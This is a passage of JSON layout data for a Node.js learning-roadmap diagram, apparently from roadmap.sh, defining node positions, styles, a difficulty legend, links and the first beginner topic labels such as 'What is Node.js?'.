      \"height\": 224\n      }\n    },\n    {\n      \"id\": \"bMMlYdl4jaQnT-rRHGfBc\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -521.1296292301079,\n        \"y\": 1047.2877525020792\n      },\n      \"width\": 224,\n      \"height\": 276,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 276\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.1296292301079,\n        \"y\": 1047.2877525020792\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 276\n      }\n    },\n    {\n      \"id\": \"GKLqJSMrljLEoBM_smemV\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -519.6255644994952,\n        \"y\": 1508.0506125880281\n      },\n      \"width\": 225,\n      \"height\": 220,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 220\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.6255644994952,\n        \"y\": 1508.0506125880281\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 220\n      }\n    },\n    {\n      \"id\": \"AoZfjDaReVr2O4qsoc4vM\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -520.169165402603,\n        \"y\": 1718.2304293708296\n      },\n      \"width\": 225,\n      \"height\": 381,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 381\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -520.169165402603,\n        \"y\": 1718.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 381\n      }\n    },\n    {\n      \"id\": \"dEbEgIsHqZpHFAvr5X0x3\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -292.49114007976596,\n        \"y\": 1644.6526950801597\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"CWqY6-O_dPj_Y37kf_S8o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -292.49114007976596,\n        \"y\": 1644.6526950801597\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"CWqY6-O_dPj_Y37kf_S8o\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -6.9937473170568865,\n        \"y\": 1272.7877525020792\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"pk5vi2vyY4h8obhkaim2c\"\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -6.9937473170568865,\n        \"y\": 1272.7877525020792\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"k7wjZ_qFjqBLJlxsNkoK-\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 342.73640589584414,\n        \"y\": 1078.063720703125\n      },\n      \"width\": 190,\n      \"height\": 170,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 170\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 342.73640589584414,\n        \"y\": 1078.063720703125\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 170\n      }\n    },\n    {\n      \"id\": \"_FZLVUJZlMUkDB2imFhH_\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 341.73640589584414,\n        \"y\": 1242.02072262127\n      },\n      \"width\": 191,\n      \"height\": 275,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 341.73640589584414,\n        \"y\": 1242.02072262127\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 275\n      }\n    },\n    {\n      \"id\": \"iYn8WyQohBdoi35AxL4-z\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 211.39975778990492,\n        \"y\": 1242.6567476363114\n      },\n      \"width\": 137,\n      \"height\": 275,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 211.39975778990492,\n        \"y\": 1242.6567476363114\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 275\n      }\n    },\n    {\n      \"id\": \"ittRdaPElU2wEdDyRRrRz\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -152.95968546864998,\n        \"y\": 988.3567490522917\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 663,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 663\n      },\n      \"positionAbsolute\": {\n        \"x\": -152.95968546864998,\n        \"y\": 988.3567490522917\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 663\n      }\n    },\n    {\n      \"id\": \"0PrEMLItU5sYKGVCUNt-x\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -521.6296292301079,\n        \"y\": 1320.9416664638775\n      },\n      \"width\": 225,\n      \"height\": 164,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 164\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6296292301079,\n        \"y\": 1320.9416664638775\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 164\n      }\n    },\n    {\n      \"id\": \"pk5vi2vyY4h8obhkaim2c\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -296.49114007976596,\n        \"y\": 962.820597967326\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -296.49114007976596,\n        \"y\": 962.820597967326\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"4DIE9zavh1rma7H5ohMTg\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 68.04031453135002,\n        \"y\": 862.3055580184816\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 176,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 176\n      },\n      \"positionAbsolute\": {\n        \"x\": 68.04031453135002,\n        \"y\": 862.3055580184816\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 176\n      }\n    },\n    {\n      \"id\": \"Gwet2IxFjSbwkn_hSERlZ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 13.866725520174441,\n        \"y\": 1036.090167109613\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 243,\n      \"height\": 160,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 160\n      },\n      \"positionAbsolute\": {\n        \"x\": 13.866725520174441,\n        \"y\": 1036.090167109613\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 160\n      }\n    },\n    {\n      \"id\": \"hgAgTyNSF4hFhwf4hdbX_\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -10.633274479825559,\n        \"y\": 590.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 102,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -10.633274479825559,\n        \"y\": 590.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"I9jtrQ9MjljnCWjXDD690\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 68.04031453135002,\n        \"y\": 473.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 124,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 124\n      },\n      \"positionAbsolute\": {\n        \"x\": 68.04031453135002,\n        \"y\": 473.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 124\n      }\n    },\n    {\n      \"id\": \"bCEICHJzklKBOOuUTTZxI\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 213.36672552017444,\n        \"y\": 304.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 731,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 731\n      },\n      \"positionAbsolute\": {\n        \"x\": 213.36672552017444,\n        \"y\": 304.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 731\n      }\n    },\n    {\n      \"id\": \"ztNOp7Rs6jcpjUR2vszxU\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -209.63327447982556,\n        \"y\": 430.7304293708296\n      },\n      \"width\": 200,\n      \"height\": 427,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 427\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -209.63327447982556,\n        \"y\": 430.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 427\n      }\n    },\n    {\n      \"id\": \"8Iyjko6ZLr93CESSSIkyD\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 332.36672552017444,\n        \"y\": 301.73042937082954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 75,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 75\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.36672552017444,\n        \"y\": 301.73042937082954\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 75\n      }\n    },\n    {\n      \"id\": \"gLEIlNbhJ2CzjjPCflwog\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 285.36672552017444,\n        \"y\": 376.73042937082954\n      },\n      \"width\": 227,\n      \"height\": 270,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 270\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 285.36672552017444,\n        \"y\": 376.73042937082954\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 270\n      }\n    },\n    {\n      \"id\": \"-JeyS2JglnU1HYh_IGZ4k\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -60.45968546864998,\n        \"y\": 213.7159927885748\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 177,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 177\n      },\n      \"positionAbsolute\": {\n        \"x\": -60.45968546864998,\n        \"y\": 213.7159927885748\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 177\n      }\n    },\n    {\n      \"id\": \"iyVufU8xJqKnMThnRTJTu\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -237.16916540260297,\n        \"y\": 295.2159927885748\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -237.16916540260297,\n        \"y\": 295.2159927885748\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"PCnnW6w1BsBIIKsM-H9P1\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -450.63327447982556,\n        \"y\": 264.73042937082954\n      },\n      \"width\": 213,\n      \"height\": 163,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 163\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -450.63327447982556,\n        \"y\": 264.73042937082954\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 163\n      }\n    },\n    {\n      \"id\": \"-qEO8FEWDKyIYsX_BVhSp\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 358.76672552017453,\n        \"y\": 28.715992788574795\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 150,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 358.76672552017453,\n        \"y\": 28.715992788574795\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 150\n      }\n    },\n    {\n      \"width\": 136,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -60.45968546864998,\n        \"y\": -160.28400721142515\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Node.js\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -60.45968546864998,\n        \"y\": -160.28400721142515\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 76,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -2.9596854686499796,\n        \"y\": -230.76957062917046\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -2.9596854686499796,\n        \"y\": -230.76957062917046\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 76\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 76\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 364,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 364,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 364,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 340,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 340,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 340,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YD5y17K5nqmWaBwYcufZO\",\n      \"type\": \"legend\",\n      \"position\": {\n        \"x\": -522.3080206821377,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"legends\": [\n          {\n            \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n            \"color\": \"#38761d\",\n            \"label\": \"Beginner Topics / start with these\"\n          },\n          {\n            \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n            \"label\": \"Intermediate Topics / pick these next\",\n            \"color\": \"#9900ff\"\n          },\n          {\n            \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n            \"label\": \"Advanced Topics / pick these at last\",\n            \"color\": \"#000\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 349,\n      \"height\": 124,\n      \"positionAbsolute\": {\n        \"x\": -522.3080206821377,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 349,\n        \"height\": 124\n      }\n    },\n    {\n      \"id\": \"DAwKHBng7Tytlcd2_8GOR\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -112.95968546864998,\n        \"y\": -27.78400721142515\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"JavaScript Roadmap\",\n        \"href\": \"https://roadmap.sh/javascript\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"R_Fs6rdl2XtQ9aLOubMqL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -112.95968546864998,\n        \"y\": -27.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -112.95968546864998,\n        \"y\": 72.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Introduction to Node.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -112.95968546864998,\n        \"y\": 72.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Mp056kNnwsRWeEXuhGPy-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.169165402603,\n        \"y\": -33.284007211425205\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is Node.js?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 282,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -518.169165402603,\n        \"y\": -33.284007211425205\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ex8FOKrUlbu4MuEq2czyW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.169165402603,\n        \"y\": 19.715992788574795\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Why use Node.js?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Mp056kNnwsRWeEXuhGPy-\",\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 282,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -518.169165402603,\n        \"y\": 19.715992788574795\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Vrcv5px-3fqmyJnQv3WBK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.169165402603,\n        \"y\": 72.7159927885748\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"History of Node.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ex8FOKrUlbu4MuEq2czyW\",\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 282,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -518.169165402603,\n        \"y\": 72.7159927885748\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ebVb0anYmbD1Y9ZTFXKFp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.169165402603,\n        \"y\": 125.7159927885748\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Node.js vs Browser\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 282,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.169165402603,\n        \"y\": 125.7159927885748\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uPJqdMQQJRkTMMhNORDeH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.169165402603,\n        \"y\": 178.7159927885748\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Running Node.js Code\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 